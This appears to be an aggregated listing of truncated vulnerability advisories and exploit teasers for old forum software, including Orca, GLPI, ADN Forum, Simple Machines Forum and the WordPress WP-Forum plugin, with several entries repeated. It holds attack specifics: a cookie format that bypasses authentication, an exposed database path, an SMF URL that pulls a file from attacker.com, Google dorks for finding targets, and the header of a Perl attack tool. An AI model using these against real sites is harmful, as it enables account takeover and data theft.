Orca 2.0.2 Cross Site Scripting

--------------------------------------------------------------------------\ + Script : Orca-v.2.0.2 + Bug: Xss + By: J-Hacker || Jerusalem Hacker || From : soqor.net + Email : [email protected] + Download : http://www.boonex.com/thankyou.php?p=Orca-v.2.0 + D0rk :Powered by Orca Interactive Forum...

Orca 2.0.2 - 'topic ' Cross-Site Scripting

--------------------------------------------------------------------------\ + Script : Orca-v.2.0.2 + Bug: Xss + By: J-Hacker || Jerusalem Hacker || From : soqor.net + Email : [email protected] + Download : http://www.boonex.com/thankyou.php?p=Orca-v.2.0 + D0rk :Powered by Orca Interactive Forum...

Orca 2.0.2 (Topic) Remote XSS Vulnerability

No description provided by source. --------------------------------------------------------------------------\ + Script : Orca-v.2.0.2 + Bug: Xss + By: J-Hacker || Jerusalem Hacker || From : soqor.net + Email : [email protected] + Download : http://www.boonex.com/thankyou.php?p=Orca-v.2.0 + D0rk...

GLPI 0.71.3 - Multiple SQL Injections Vulnerabilities

GLPI 0.71.3 - Multiple SQL Injections Vulnerabilities + Application : GLPI v 0.71.3 + App'z URI : http://glpi-project.org + Bug : Multiple Remote SQL Injections + Author : Zigma + Home : http://NullArea.Net Let's have a look on the Security System GLPI uses : --- \inc\includes.php --- // Security...

CVE-2008-6001

index.php in ADN Forum 1.0b and earlier allows remote attackers to bypass authentication and gain sysop access via a fpusuario cookie composed of an initial sysop: string, an arbitrary password field, and a final :sysop:0 string...

Authentication flaw

index.php in ADN Forum 1.0b and earlier allows remote attackers to bypass authentication and gain sysop access via a fpusuario cookie composed of an initial sysop: string, an arbitrary password field, and a final :sysop:0 string...

CVE-2008-6001

index.php in ADN Forum 1.0b and earlier allows remote attackers to bypass authentication and gain sysop access via a fpusuario cookie composed of an initial sysop: string, an arbitrary password field, and a final :sysop:0 string...

CVE-2008-6001

The CVE-2008-6001 entry applies to ADN Forum before or at version 1.0b. A flaw in index.php lets remote attackers bypass authentication and obtain sysop privileges by manipulating a fpusuario cookie constructed with an initial sysop: string, a user-supplied password field, and a trailing :sysop:0...

Simple Machines Forum 1.1.7 XSRF/XSS

Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...

Unfixed XSS vulnerability at www.buycheap.se

Security researcher Uber0n, has submitted on 18/01/2009 a cross-site-scripting XSS vulnerability affecting www.buycheap.se, which at the time of submission ranked 9115665 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 03/02/2009. It is current...

Simple Machines Forum < 1.1.8 Password Reset Function Bypass

Binary data 4813.prm...

WP-Forum Plugin for WordPress 'forum_feed.php' 'thread' Parameter SQL Injection

The remote host is running WP-Forum, a third-party discussion forum plugin for WordPress. The version of WP-Forum installed on the remote host fails to sanitize input to the 'thread' parameter of the 'forumfeed.php' script before using it in a database query. Regardless of PHP's 'magicquotesgpc'...

Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability

No description provided by source. ----------------------------------------------------------------------------------------------- Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability ----------------------------------------------------------------------------------------------- Author:...

Simple Machines Forum - Destroyer 0.1

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Std; use LWP::Simple; use HTTP::Request; Author: Xianur0 Uxmal666atgmail.com Cracks links Password Recovery Find Temporary Files executed by mods DB function Flood by Error Log File Path Disclosure List installed Mo...

CVE-2008-5901

iyzi Forum 1.0 beta 3 stores sensitive information under the web root with insufficient access control, which allows remote attackers to download the database file containing a password via a direct request for db/iyziforum.mdb. NOTE: some of these details are obtained from third party informatio...

CVE-2008-5901

CVE-2008-5901 affects iyzi Forum 1.0 beta 3, where sensitive information is stored under the web root with insufficient access control. A direct request to the file db/iyziforum.mdb can allow remote attackers to download the database, exposing passwords. The CVSS data (NVD) characterizes the impa...

WordPress Plugin WP-Forum 1.7.8 - SQL Injection

WordPress Plugin WP-Forum 1.7.8 - SQL Injection ----------------------------------------------------------------------------------------------- Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability ---------------------------------------------------------------------------------------------...

Wordpress WP-Forum 1.7.8 SQL Injection

----------------------------------------------------------------------------------------------- Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability ----------------------------------------------------------------------------------------------- Author: seomafia Dorks: allinurl:pageid...

WordPress Plugin WP-Forum 1.7.8 - SQL Injection

----------------------------------------------------------------------------------------------- Wordpress Wp-forum plugin 1.7.8 Sql injection vulnerability ----------------------------------------------------------------------------------------------- Author: seomafia Dorks: allinurl:pageid...

Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================== Wordpress plugin WP-Forum 1.7.8 Remote SQL Injection Vulnerability ==================================================================...